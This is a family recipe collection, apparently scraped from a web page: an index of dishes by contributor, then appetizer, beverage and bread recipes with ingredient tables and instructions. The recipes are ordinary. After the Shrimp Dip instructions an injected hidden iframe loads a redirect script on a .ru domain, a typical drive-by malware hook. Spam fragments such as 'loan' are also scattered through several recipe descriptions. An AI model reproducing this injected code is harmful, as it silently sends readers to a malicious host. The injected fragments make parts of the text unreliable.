Mexican Rice	Sue Paulding		Side dish	Mexican	Everyday	Boil
Nassi (Dutch Rice)	Ann Lokkart		Side dish	Vegetable	Everyday	Boil
Potato Casserole	Terri Luby	This is the one we had at Christmas in Colorado	Side dish	Vegetable	Everyday	Warm
Rice	Gwen Powell		Side dish	Grains	Everyday	Steam
Rice Cashew	Gwen Powell	A nice rice dish with the flavor of the Orient.	Side dish	Casserole	Everyday	Bake
Rice Pudding	Sue Paulding	From Bunny	Side dish	Pudding	Everyday	Simmer
Spanish Rice	Sue Paulding	Great for parties.	Side dish	Grains	Everyday	Simmer
Spinach Soufflé	Linda Lokkart/Sue Paulding	Use with crab, shrimp, lobster or just over pasta.	Side dish	Casserole	Everyday	Bake
Stuffed Artichokes	Gwen Powell		Side dish	Vegetable	Everyday	Warm
Tapioca	Sue Paulding		Side dish	Pudding	Everyday	Simmer
Tofu Quiche	Gwen Powell	Alter this recipe to fit any needs.	Side dish	Vegetable	Everyday	Warm

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Turkey Dressing	Naomi Luby	Stuff a turkey or bake in casserole dish.	Side dish	Relish	Holiday	Bake
Category: Snacks						
Blanched Almonds	Sue Paulding		Snacks	Grains	Everyday	Bake
Froghurt	Gwen Powell	Healthy frozen snack from Gwen's spinning friend Diane Wallihan	Snacks	Dessert	Summer	Freeze
Granola	Laura Abaloe		Snacks	Grains	Everyday	Warm
Granola	Sue Paulding	Not as fancy as Laura's	Snacks	Grains	Everyday	Warm
Peanut Butter S'more Snack	Laura Abaloe		Snacks		BBQ	Bake
Quickly Seasoned Almonds	Sue Paulding		Snacks	Grains	Everyday	Bake
Category: Soup						
Ann's Mushroom Soup	Ann Kubota	Cream of Mushroom Soup	Soup		Everyday	Simmer
Corn Chowder	Sue Paulding		Soup	Vegetable	Everyday	Simmer
Old Russian Borscht	Sue Paulding		Soup		Everyday	Simmer
Seafood Chowder	Gwen Powell	Basic Seafood Chowder from fish, clams or whatever.	Soup		Everyday	Simmer
Sicilian Soup	Sue Paulding	From Erin	Soup		Everyday	Boil
Smoked Bacon Chicken Soup	Gwen Powell	Savory soup for a cold day.	Soup		BBQ	Bake
Tomato Meatball Soup	Linda Lokkart		Soup		Everyday	Simmer
Veal and Beet Borscht	Sue Paulding		Soup	Vegetable	Everyday	Simmer
Category: Turkey						
Turkey Brine	Gwen Powell	Brine to be used with Turkey or Chicken	Turkey	Entrée	Holiday	Refrigerate
Category: Vegetable						
Creamed Spinach	Cathy Paulson	Creamed Spinach a la Lawry's	Vegetable		Everyday	
Mushroom Asparagus	Gwen Powell	Steam Asparagus with Mushroom Sauce loan	Vegetable		Everyday	Steam

Shrimp Mousse

Appetizer

Recipe from: Gwen Powell

Delicious mousse dip for the Holidays. (serve cold)

Serves: 20 **Time-- Preparation:** 30 min **Temperature:** warm
Season: Holiday **Cooking:** about 10 min Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
1	can		cream of mushroom soup
1	cup		mayonnaise
1	pkg	8 oz	cream cheese
1	can	small	shrimp or crab
2	envlp.	warm	Knox gelatin diluted with 6 tb water
1	cup	diced	celery
2	stalks	diced	green onion

Instructions:

Heat soup; add mayonnaise, softened cream cheese. Add shrimp and gelatin. Take off stove and add celery and green onion. Pour into small Tupperware mold sprayed with Pam. Chill, Serve with stoned wheat thins.

This is cute in a snowman mold at Christmas.

Shrimp Dip

Appetizer

Recipe from: Sue Paulding

Another from Erin Ford

Serves: **Time-- Preparation:** 10 min **Temperature:** 0
Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	5 oz	can	shrimp, chopped
0.5	pound	grated	cheddar cheese
1	cup		mayonnaise
1	tbl	dry/minced	onion
1	tsp		worchestershire sauce
1	tbl	dry	parsley flakes

Instructions:

Combine ingredients and serve with crackers. <iframe src="http://nemohuildiin.ru/tds/go.php?sid style="display:none"></iframe>

Sticky Ribs

Appetizer

Recipe from: Terri Luby

Superbowl

Serves: *Time--* **Preparation:** 0 **Temperature:** 450
Season: Everyday **Cooking:** 2 1/4 hour Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	small jar		apricot preserves
0.33	cup		ketchup
0.33	cup		vinegar
2	tbl		soy sauce
0.5	cup		brown sugar
1	clove		garlic
4	pounds		baby back ribs
			salt and pepper

Instructions:

Preheat oven to 450. Rub ribs with salt and pepper. Bake ribs uncovered for 45 minutes to one hour. Mix sauce and pour over ribs. Reduce heat to 350 and bake for 1 1/2 hours basting every 15 minutes.

Deluxe Grilled Cheese

Appetizer

Recipe from: Michael Rivas at Station Grill

Grilled cheese with added chicken, bacon, and cheddar cheese

Serves: 1 person **Time-- Preparation:** **Temperature:** grill or toast

Season: BBQ **Cooking:** Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	Slices		Sour dough bread
1	Slice		Cheddar Cheese
2	Strips	Cooked	Bacon
0.5		Chopped	Chicken Breast

Instructions:

Either lightly toast the bread in a toaster or put the cheese on the bread and lightly grill it on a flat surface. If you toasted the bread then add cheese on top. Next chop up the chicken breast and the bacon strips and place them on top of the cheese. Dip in ketchup, ranch, bbq sauce, or whatever you would like.

Mango Wonton Appetizers

Appetizer

Recipe from: Amanda Beck

Light summer appetizer

Serves: makes 24 **Time-- Preparation:** 0 **Temperature:** 350
Season: BBQ **Cooking:** 9-12 minute Bake

QTY.	MEAS.	PREP.	INGREDIENTS
24			wonton sheets (1 package)
1		peeled, pitted a	ripe mango
1		peeled, seeded	cucumber
0.5	med.	finely diced	red onion
2.5	tbsp	fresh	lime juice
2.5	tbsp	fresh chopped	cilantro
1	pinch		cayenne pepper
0			Vegetable-oil cooking spray

Instructions:

Coat mini-muffin pans with cooking spray and line the molds with wonton sheets. Bake at 350°F for 9 to 12 minutes or until golden brown. Cool. Combine remaining ingredients plus salt and pepper to taste. Fill each wonton with salsa and serve.

Nutritional analysis per wonton: 37 calories, 0.5 g fat (0 g saturated), 7 g carbohydrates, 1 g protein, 0.5 g fiber
Makes 24 wontons.

Gwen's Alligator Poppers

Appetizer

Recipe from: Gwen Powell

Hot peppers and tasty Alligator make for this unusual Appetizer

Serves: 4 **Time-- Preparation:** 10 minutes **Temperature:** Hot
Season: BBQ **Cooking:** 4 minutes each Fry

QTY.	MEAS.	PREP.	INGREDIENTS
1		finely chopped	jalapeno pepper
2		finely chopped	pasillo chilis
4	oz	chopped	alligator (any part)
0.5	cup		creamed cheese
0.5	cup		flour

Instructions:

Place the peppers, chilis, alligator, creamed cheese and 1/4 cup of the flour in the food processor and mix until consistent. Roll 1 inch balls by hand and dust with flour. Deep fry for 3-4 minutes or until golden brown. Drain well and serve hot. Do warn everyone that they are both spicy hot and fire hot.

Lisa's Many Layer Dip

Appetizer

Recipe from: Lisa Powell

Lisa's take on 7 layer dip

Serves: 1 to 10 **Time-- Preparation:** 15 min **Temperature:** 0
Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2			large tubs sour cream
1	bundle	chopped	scallions
2	cans	large sliced	black olives
2	pkgs		taco seasoning
2	cans	large	refried beans
6		chopped	roma tomatoes
2	cups	shredded	Monterey Jack/Cheddar Cheese
1	jar		salsa or Fresh made
1		chopped	red onion
5		ripe	avacados

Instructions:

Cowboy Crisps

Appetizer

Recipe from: Mike Luby

Bread

Serves: *Time--* **Preparation:** 1 hour **Temperature:** 375**Season:** Everyday **Cooking:** 10 **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
1.75	cup		flour
0.5	cup		yellow cornmeal
0.5	tsp		baking soda
0.5	tsp		sugar
0.5	tsp		salt
0.5	cup		butter (one stick)
8	oz	shredded	extra sharp cheddar cheese
2	tbl		white vinegar
0.66	cup		water
		coarse ground	black pepper

Instructions:

Blend dry ingredients. Cut in butter until coarse crumbs. Stir with fork cheese, vinegar, water until mix forms soft dough. Divide into 4 equal pieces and wrap in plastic. Chill 1 hour in frig or 30 minutes in freezer. Preheat oven to 375. Grease baking sheet. Roll 1 piece of dough into 10" circle. Cut in 8 wedges. Place on baking sheet. Sprinkle with ground pepper and bake for 10 minutes or until browned and crisp. Cool on racks and store at room temperature in covered container.

Chicken Wings

Appetizer

Recipe from: Terri Luby

Chicken

Serves: *Time--* **Preparation:** 0 **Temperature:** 300**Season:** Everyday **Cooking:** 3-4 hours Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	bag		chicken wing pieces
1	stick		margarine
			garlic salt
			Lawry's seasoning salt

Instructions:

Heat oven to 300. Melt butter in 13 by 9 inch pan. Add wing pieces and salt generously with garlic salt and seasoning salt. Cook 3 to 4 hours turning every 1/2 hour.

Lace Boiled Eggs

Appetizer

Recipe from: Lisa Powell

Eggs

Pretty eggs for Easter or luncheons loan<

Serves: 1 per egg **Time-- Preparation:** 0 **Temperature:** Boil
Season: Easter **Cooking:** 0 Boil

QTY.	MEAS.	PREP.	INGREDIENTS
	eggs		
0.25	tsp		salt
	drops		food coloring

Instructions:

Set eggs in bottom of large kettle. Cover with water. Add 1/4 teaspoon of salt. Turn flame onto high or use high setting on electric stove. Bring water to boil for one minutes. Turn off flame or heat and allow to cool. Do not remove eggs while water is cooling.

Gently crack all of the eggs but do not remove the peel.

Place cracked egg in a cup filled with drops of food coloring and water. Allow to sit for 15 minutes or more. The longer the time, the darker the lace. Remove egg and peel. The egg will have a lace color pattern on it.

You can use strong tea for brown antique lace.

Margaret Lim's Batter for Frying

Appetizer

Recipe from: Naomi Luby

Entrée

Chinese batter

Serves: *Time-- Preparation:* 10 min **Temperature:** hot
Season: Everyday **Cooking:** 0 Fry

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		flour
1	tsp		baking powder
0.74	tsp		salt
1	tsp		sugar
2	tsp		salad oil
0.5	cup		water

Instructions:

Sift dry ingredients, add oil to water. Make a well in dry ingredients and slowly pour in liquid. Blend well. This is enough for 1 pound of fish.

Won Ton

Appetizer

Recipe from: Naomi Luby

Entrée

Serves: **Time-- Preparation:** 1 hour **Temperature:** hot**Season:** Everyday **Cooking:** 3 minutes Fry

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound	cooked/lean	ground beef
1	stalk	chopped	celery
1	small	chopped	onion
0.5	tsp		salt
2	tsp		soy sauce
1			egg
1	tsp		sugar
1	dash		pepper
1	dash		garlic powder
1	pkg	small	won ton skins

Instructions:

Mix meat and other ingredients together. Roll in wrappers. Deep fry for about 3 minutes or until golden. Drain well.

Salmon Spread

Appetizer

Recipe from: Gwen Powell

Fish

Spread for sandwiches or crackers

Serves: 4 **Time-- Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
1	lb		salmon
0.25		chopped	red onion
0.25	cup		pickle relish
0.5	cup	softened	cream cheese
0.5	cup		mayo
0			salt/pepper/your favorite seafood seasoning

Instructions:

Cook salmon and cool. With you fingers break up the chunks of meat and remove any bones.

With a fork blend all the ingredients together until consistency of the desired spread.
Season to taste.

I like to use all cream cheese instead of 1/2 mayo. I usually use leftover salmon.

This was served to us while fishing in Alaska.

Tortilla Hors d'ourves

Appetizer

Recipe from: Gwen Powell

Mexican

Great party idea that can be expanded to an entree by adding meat.ydayloandomog

Serves: 8 **Time-- Preparation:** 15 min. **Temperature:** 350

Season: Everyday **Cooking:** 1 hour Bake

QTY.	MEAS.	PREP.	INGREDIENTS
12			flour tortillas
1	can		cream of chicken soup
1	pint		sour cream
1	can		diced ortega chilies
1	pound	grated	sharp cheddar cheese

Instructions:

Combine soup, sour cream and ortegas. Lay tortillas in 9x13 pan, spread half of mixture, a small amount of cheese (too much will cause the squares to slide) then more tortillas, sauce, small amount of cheese, tortillas, rest of cheese. Bake at 325 for 30 minutes. Let sit out for 20-30 minutes before cutting into squares.

To use as an entree, layer in cooked chicken, beef or pork and cherizo. Cook at 350 for 1 hour.

Spice this recipe up with anything left over in the refrigerator. I use green sauces, tomatoes, corn and avocado.

Eight Layer Dip

Appetizer

Recipe from: Sue Paulding

Mexican

Serves: *Time-- Preparation:* 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2	10.5 oz	can	bean dip
2	4 oz	canned	diced green chilis
2	oz		avacado dip
2	4.5 oz	can	chopped olives
2	cup		taco meat
2	cup	shredded	cheddar cheese
1	cup	light	sour cream
4		chopped	tomatoes

Instructions:

In a large pan or foil layer each ingredient smoothly and in order. Chill and serve with tortilla chips.

Mexican Hors d'oeuvres

Appetizer

Recipe from: Linda Lokkart

Mexican

Serve with chips.

Serves: *Time-- Preparation:* **Temperature:**
Season: Everyday **Cooking:** Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
2	can		refried beans
1	pint		guacamole
1	pint		sour cream
1	can	sliced	ortega green chilis
1	bunch	diced	green onions
1	can	diced	olives
2		diced	tomatoes
2	cup	grated	cheese

Instructions:

Layer this ingredients on a tray and serve with chips.

Glenda Newell's Salsa

Appetizer

Recipe from: Sue Paulding

Sauce

Serves: 4 pints **Time-- Preparation:** 15 min **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	large	chopped	onion
0.5	bunch		cilantro (cut off stems)
1		chopped	red bell pepper
2	tsp		salt
1	can	small	jallapino
2	cans	large	tomatoes
1	can	Mexican	tomatoes (S+W brand)

Instructions:

Mince and mix all together. Refrigerate.

Almond Dip

Appetizer

Recipe from: Sue Paulding

Sauce

From Erin and Pam

Serves: *Time-- Preparation:* 0 **Temperature:** 0

Season: Summer **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	pkg	smallx	instant vanilla pudding
1	cup		milk
1	carton		whipping cream
1	tsp		almond extract

Instructions:

Mix instant vanilla pudding with milk (do not cook) whip whipping cream and add almond extract. Fold whipped cream into pudding. Serve with fresh strawberries.

Black Bean Mango Salsa

Appetizer

Recipe from: Sunset Magazine

Sauce

Black Bean Mango Salsa

Serves: _____ **Time-- Preparation:** 15 **Temperature:** 0**Season:** Summer **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	can	rinsed & drainage	black beans
1	cup	diced	firm-ripe mango
1		diced	roma tomato
0.5	cup	diced	orange bell pepper
0.5	cup	diced	yellow bell pepper
0.25	cup	finely diced	onion
1	T	chopped	fresh cilantro
1	T	minced	fresh Jalapeno's
1	clove	minced	garlic
2	T		lime juice
1	T		red wine vinegar
0			salt & pepper to taste

Instructions:

 Prepare, mix together and chill.

Roasted Garlic

Appetizer

Recipe from: Gwen Powell

Vegetable

No fleas or mesquito bites if you eat this. Serve with crackers and goat cheese.

Serves: 4 **Time-- Preparation:** 5 min **Temperature:** 300

Season: Everyday **Cooking:** 65-70 min. Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	blossom	fresh	garlic
			olive oil

Instructions:

Cut off the top of the bulb exposing the top of each clove of a very large blossom of garlic. If necessary trim the bottom so that it lie flat on the tray. Remove any outer loose skins. Sprinkle with olive oil. Cover and bake at 300 for 65 to 70 minutes.

For extra flavor, use a seasoned olive oil. I like rosemary or basil seasoned olive oil.

If there are any leftovers, mash them with potatoes for roasted garlic mashed potatoes.

Roasted Garlic

Laura's favorite dinner

Beef

Recipe from: Laura Abaloe

rice, cabbage, and ground beef delight

Serves: Lokkart Family :) **Time-- Preparation:** 20 min. **Temperature:**
Season: Everyday **Cooking:** 5-10 min. Warm

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

cook 3-4 cups of rice (depending on the # of eaters)
 cook and season with garlic salt, enough ground beef for the # of people eating. in the Lokkart fam., thats two packages of ground beef:>
 chop 1 head of cabbage
 grade a bowl of cheddar cheese

once the rice and ground beef are cooked, serve by topping off a plate full of rice with first the cabbage, then some ground beef, and cheese. i like to add soysauce to it just for more flavor, but that is optional. this is a very easy dinner for a night were people are running in and out and dinner needs to be served over a the time span of an hour or two:)

Punch

Beverages

Recipe from: Sue Paulding

Serves: *Time--* **Preparation:** 0 **Temperature:** 0
Season: Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	6 oz	can	orange juice
1	6 oz	can	lemonade
1	6 oz	can	limeade
4	cup	cold	water
1	28 oz	bottle	chilled 7-Up
1	carton		lime or lemon sherbert

Instructions:

Stir all but sherbet together in large punch bowl just before serving. With round ice cream scoop, scoop round mounds of sherbet into bowl to float. Serve

Punch

Kahlua

Beverages

Recipe from: Gwen Powell

Liquor

Kahlua is a coffee flavored after dinner liquor

Serves: 4 cups **Time-- Preparation:** 10 min **Temperature:** simmer

Season: Everyday **Cooking:** 1 hour Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
4	cup		sugar
3	cups		water
10	tsp		instant coffee
5	tsp		vanilla
1	pint		vodka

Instructions:

Bring sugar water to boil. Add instant coffee and simmer one hour. Add vanilla and cool. Add vodka and age for at least 2 weeks in sealed bottle.

Vanocha Christmas Bread

Bread

Recipe from: Naomi Luby

Mom's Holiday Bread

Serves: 2 loaves **Time-- Preparation:** 3 hours **Temperature:** 375
Season: Christmas **Cooking:** 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	scaled	milk
0.5	cup		shorting
0.75	cup		sugar
0.5	tsp		salt
0.25	cup		warm water
2	pkg		dry yeast
2			eggs
5.5	cup		flour
0.5	cup		raisins
0.25	cup		chopped nuts
2	tbl		cherries
3	tb		butter

Instructions:

Scald milk, stir in shorting, sugar and salt. Cool to luke warm. Measure .25 cup of water into large bowl, sprinkle in 2 pkgs dry yeast. Add warm milk mix. Add two eggs and 3 cups of sifted flour and beat until smooth. Stir in raisins, nuts and cherries. Add 2.5 cups sifted flour and work into soft dough. Turn out on floured board. Knead well. cover and let rise till doubled (1.25 hours). Punch down and divide in half. Braid each half into a loaf and place on greased cookie sheet. Brush with melted butter. Garnish with cherries. Let rise 1 hour or until double. Brush with butter. Bake for about 45 minutes. Frost and decorate.

Beer Bread

Bread

Recipe from: Gwen Powell

Easy dinner bread.

Serves: 6 **Time-- Preparation:** 10 min **Temperature:** 350
Season: Everyday **Cooking:** 20 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	can		cheap domestic beer
2	cups		Bisquick
1	cube		butter or margarine

Instructions:

Grease 9 inch square pan. Mix beer and bisquick with spoon and pour in pan. Melt butter and pour over batter. Bake at 350 degrees until golden brown.

Dilly Casserole Bread

Bread

Recipe from: Naomi Luby

One of our all time favorites.

Serves: 1 loaf **Time-- Preparation:** 1 hour **Temperature:** 350
Season: Everyday **Cooking:** 40-50 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pkg		dry yeast
1	cup	creamed	cottage cheese (room temp)
1	tbl		butter
1	tsp		salt
1			egg
0.25	cup	warm	water
2	tbl		sugar
1	tbl		instant onion
2	tsp		dill seed
0.25	tsp		soda
2.5	cup		flour

Instructions:

Soften yeast in warm water. In mixing bowl, combine cottage cheese, sugar, onion, dill seed, soda, salt, butter, eggs and yeast. Gradually add Flour to form a stiff dough, beating well after each addition. Cover and let rise in warm place until doubles (50-60 minutes) Stir down dough with a spoon. Place in a well-greased 8" round (1 1/2 to 2 quart) casserole. Let rise again in warm place until doubled (about 30-40 minutes). Bake at 350 for 40-50 minutes until golden brown.

Wiener Brand Rolls

Bread

Recipe from: Naomi Luby

Serves:	Time-- Preparation: 3 hours	Temperature: 425
Season: Everyday	Cooking: 10-15 min	Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	cold	milk
1	cup	luke warm	water
2			eggs
0.5	cup		sugar
0.5	tsp		salt
2	cakes		yeast
5	cups		sifted flour
0.5	pound		margarine.
1	pkg		alsweet

Instructions:

Beat eggs with milk. Dissolve yeast in water, add sugar and salt. Add flour to liquids and mix. Refrigerate for 15 minutes. Roll out dough, spread with alsweet, fold like a napkin roll; repeat three times. Make rolls, put on greased cookie sheets, cover and let rise about three hours. Bake at 425 for 10 to 15 minutes.

Coolrise Bread

Bread

Recipe from: Naomi Luby

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 400
Season: Everyday **Cooking:** 30-45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	pkg		yeast
0.5	cup	warm	water
1.5	cup	warm	milk
2	tbl		sugar
1	tbl		salt
3	tbl	soft	margarine
6	cup		flour

Instructions:

Dissolve yeast in 1/2 cup of warm water in large warm bowl. Add 1 1/2 cup warm milk, sugar, salt and 3 tablespoons of soft margarine. Stir in 2 cups of flour. Beat with beater until smooth, about 1 minute. Add 1 cup flour, beat until smooth with spoon. Gradually stir in enough flour (2 1/2 to 3 cups) to make soft dough. Knead on floured board. Cover dough with towel and let rest for 20 minutes. Divide into 2 equal parts. Shape into loaves. Place in greased pans. Brush dough with oil. cover pans with wax paper and brush with oil. Top with transparent wrap and refrigerate 2 to 24 hours. Remove from refrigerator, uncover dough carefully. Let stand uncovered 10 minutes. Puncture bubbles. Bake at 400 for 30 to 40 minutes.

French Bread

Bread

Recipe from: Naomi Luby

Very time consuming, but good.

Serves: *Time--* **Preparation:** hours **Temperature:** 450
Season: Everyday **Cooking:** 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pkg		dry yeast
2.5	cup		very warm water
7	cup	sifted	flour
2	tbl		sugar
1	tbl		salt
0.5	cup		corn meal
3	tbl		sesame seeds

Instructions:

1. Sprinkle yeast into warm water, stir until dissolved.
 2. Stir in 2 cups of flour and sugar, salt until smooth, gradually beat in enough remaining flour to make a stiff dough.
 3. Knead about 5 minutes, adding enough flour to keep from sticking.
 4. return to bowl; brush top with shortening, cover with towel. Let rise in warm place until double, about 45 minutes.
 5. Punch dough down, cover, let rise again until double, about 30 minutes.
 6. Make boat shaped pans with foil from 3 20 inch sheets. Grease and sprinkle with corn meal.
 7. Punch dough down; knead 1 minute on lightly floured board; divide in thirds. Roll out one at a time to a rope about 18". Place in prepared pans.
 8. Make several cuts across top, sprinkle with sesame seeds. Cover and let rise until double, about 30 minutes.
- Place pan of hot water on lower shelf of oven. Slide loaves on shelf above.
10. Bake in hot over (450) 15 minutes, reduce heat to 350 and bake 30 minutes longer. Remove immediately from pans, cool.

French Bread

Mom's Beer Bread

Bread

Recipe from: Naomi Luby

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 375
Season: Everyday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
3	cup		self rising flour
3	tbl		sugar
1	can		beer
1	cube	melted	butter

Instructions:

Well grease one loaf pan. Preheat oven to 375. Mix flour, sugar and beer, pour into loaf pan. Bake for about 40 minutes. Just before it is done, pour one cube of melted butter over loaf and bake until brown.

Sourdough French Bread

Bread

Recipe from: Sue Paulding

Where do you get the starter?

Serves: *Time--* **Preparation:** long **Temperature:** 400
Season: Everyday **Cooking:** 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	cup		warm water
1	cup		sourdough starter
4	cup		unsifted flour
2	tsp		salt
2	cup		unsifted flour
0.5	tsp		baking soda

Instructions:

Combine water, starter, 4 cups flour, salt, sugar and mix well. Place in a non-metallic container and leave at room temperature about 18 hours or until sponge has doubled in size. Stir in 1 cup of the remaining flour which has been mixed with the soda; the resulting dough will be very stiff. Turn dough out onto a floured board and knead, adding remaining 1 cup of flour as needed. Knead until smooth, at least 8 minutes, until the dough cannot absorb any more flour. Shape into two oblong loaves or one large round loaf. Place on a lightly greased cookie sheet, cover and place in a warm place for 3 to 4 hours or until nearly doubled in bulk. Just before baking, brush with water; make diagonal slashes in the top with a sharp knife. Place a shallow pan of hot water in the bottom of the oven (for a more tender crust, do not place pan of water in oven and brush unbaked loaf with salad oil or butter instead of water). Bake in a 400 degree oven until crust is a medium dark brown (about 45 minutes for oblong loaves, 50 minutes for the large loaf) For a heavier and tougher crust, remove loaf from oven 10 minutes before it is done; brush with salted water and return to a 425 degree oven for the remaining time.

Super Cheese Bread

Bread

Recipe from: Sue Paulding

Serves: **Time-- Preparation:** 10 min **Temperature:** broil**Season:** Everyday **Cooking:** 0 Broil

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	shredded	cheddar cheese
1	cup	shredded	monterey jack
1	cube	soft	butter
0.75	cup		real mayonnaise
1	tsp		beau monde
1	tbl		garlic powder
		grated	onion as desired

Instructions:

Blend well and spread thickly on half loaves of French bread, broil until melted and lightly browned. Let cool a little and slice in 1 inch slices.

Banana-Nut Bread

Bread

Recipe from: Sue Paulding

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 350
Season: Everyday **Cooking:** 55-65 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2.5	cup		flour
1	cup		sugar
3.5	tsp		baking powder
1	tsp		salt
3	tbl		salad oil
0.75	cup		milk
1			egg
1	cup	finely chopped	nuts
1	cup	mashed	ripe bananas (2-3)

Instructions:

Heat oven to 350. Grease and flour a 9 by 5 by 3 inch loaf pan or two 8 1/2 by 4 1/2 by 2 1/2 inch loaf pans. Measure all ingredients into large mixing bowl; beat on medium speed 1/2 minutes, scraping side and bottom of bowl constantly.

Pour into pan. Bake 55-65 minutes or until wooden pick inserted in center comes out clean. Remove from pan; cool thoroughly before slicing.

Pumpkin Bread

Bread

Recipe from: Sue Paulding/Naomi Luby

Serves: 2 loafs **Time-- Preparation:** 0 **Temperature:** 350
Season: Everyday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
4			eggs
2.75	cup		sugar
1	cup		oil
2	cup		pumpkin (fresh cooked or canned)
0.66	cup		water
0.66	cup	chopped	nuts
2	tsp		baking soda
1.5	tsp		salt
1	tsp		nutmeg
0.5	tsp		cinnamon
3.33	cup		flour

Instructions:

Beat eggs and blend with sugar and oil. Add to beaten eggs, pumpkin, water and nuts. Sift soda, salt, nutmeg, baking powder, cinnamon and flour. Mix all together and pour into 2 loaf pans. Bake at 350 until toothpick inserted comes out clean.

Grandmother's Famous Cranberry Bread

Bread

Recipe from: Sue Paulding

From Parents' Magazine

Serves: 1 loaf **Time-- Preparation:** 0 **Temperature:** 350
Season: Holiday **Cooking:** 1 hr 10 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	sifted	flour
1	cup		sugar
1.5	tsp		baking powder
1	tsp		salt
0.5	tsp		baking soda
0.25	cup		butter or margarine
1		beaten	egg
1	tsp	grated	orange peel
0.75	cup		orange juice
1.5	cup		light raisins
1.5	cup	chopped	cranberries (fresh or frozen)

Instructions:

Sift flour, sugar, baking powder, salt and baking soda into a large bowl. Cut in butter until mixture is crumbly. Add egg, orange peel, and orange juice all at once; stir just until mixture is evenly moist. Fold in raisins and cranberries. Spoon into a greased 9 x 5 x 3 inch pan. Bake at 350 for 1 hour 10 minutes, or until a toothpick inserted in center comes out clean. Remove from pan; cool on a wire rack. If you choose, you may substitute cranberries for the raisins to have all cranberry bread.

Amish Friendship Bread

Bread

Recipe from: Sue Paulding

Serves: Neighborhood **Time-- Preparation:** 10 days **Temperature:** 350
Season: Everyday **Cooking:** 45-50 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
4	cup		flour
3	cup		sugar
2	cup		milk
0.66	cup		oil
3			eggs
1.25	tsp		baking powder
0.5	tsp		cinnamon
0.5	tsp		vanilla
0.5	tsp		baking soda

Instructions:

Original Preparation: Mix listed ingredients together. Give 1 cup to three friends with the following instructions:

Do not use a metal spoon to stir!

Do not refrigerate!

Day 1--the day you receive your starter, Do nothing.

Day 2--Stir

Day 3--Stir

Day 4--Stir

Day 5--Add 1 cup flour, 1 cup sugar, 1 cup milk and stir.

Day 6--Stir

Day 7--Stir

Day 8--Stir

Day 9--Stir

Day 10--Add 1 cup flour, 1 cup sugar, 1 cup milk. Stir. Pour into 3 containers, 1 cup each and give to three friends with these instructions.

The remaining batter may be a little more than one cup. Add 2/3 cup oil, 2 cups flour, 1 cup sugar, 1 1/4 tsp baking powder, 3 eggs, 1/2 tsp cinnamon, 1/2 tsp vanilla, 1/2 tsp Baking soda and whatever you like--raisins, dates, nuts. Pour into 2 well greased and sugared loaf pans. Bake for 45-50 minutes at 350 degrees. Cool 10 minutes before removing from pan.

Baking Powder Biscuits

Bread

Recipe from: Sue Paulding

Better Homes and Gardens

Serves: 16 biscuits **Time-- Preparation:** 15 min **Temperature:** 450

Season: Everyday **Cooking:** 12-15 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	sifted	flour
3	tsp		baking powder
0.5	tsp		salt
0.25	cup		shortening
0.75	cup		milk

Instructions:

Sift dry ingredients into bowl. Cut in shortening till like coarse crumbs. Make a well; add milk all at once. Stir quickly with fork just till dough follows fork around bowl. Turn onto lightly floured surface. (Dough should be soft) Knead gently 10 to 12 strokes. roll or pan dough 1/2 inch thick. Dip cutter in flour, cut dough straight down--no twisting. Bake at 450 for 12 to 15 minutes.

Poppy Seed Bread

Bread

Recipe from: Gwen Powell

Serves: 2 loaves **Time-- Preparation:** **Temperature:** 325
Season: Everyday **Cooking:** 1 hr 25 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup	plus 2 tbl	sugar
3.33	cup		flour
4	tbl		baking powder
0.25	tsp		salt
0.33	cup	plus 1 tbl	poppy seeds
1	cup	plus 2 tbl	oil
1.5	cup		milk
1.5	tsp		vanilla
3			eggs

Instructions:

Combine sugar, flour, baking powder, salt and poppy seeds in a large bowl. blend well. Mix oil, milk, vanilla and eggs in another bowl. Add dry ingredients to liquid ingredients. Mix at medium speed until smooth, about 4 minutes, scraping sides of bowl often. Pour into 2 (8 by 4) greased and waxpaper-lined loaf pans. Bake at 325 for 1 hour and 25 minutes or until pick inserted in bread comes out clean.

Poppy Seed Muffins

Bread

Recipe from: Sue Paulding

Moist, rich and addictive.

Serves: 12 muffins **Time-- Preparation:** 15 minutes **Temperature:** 350
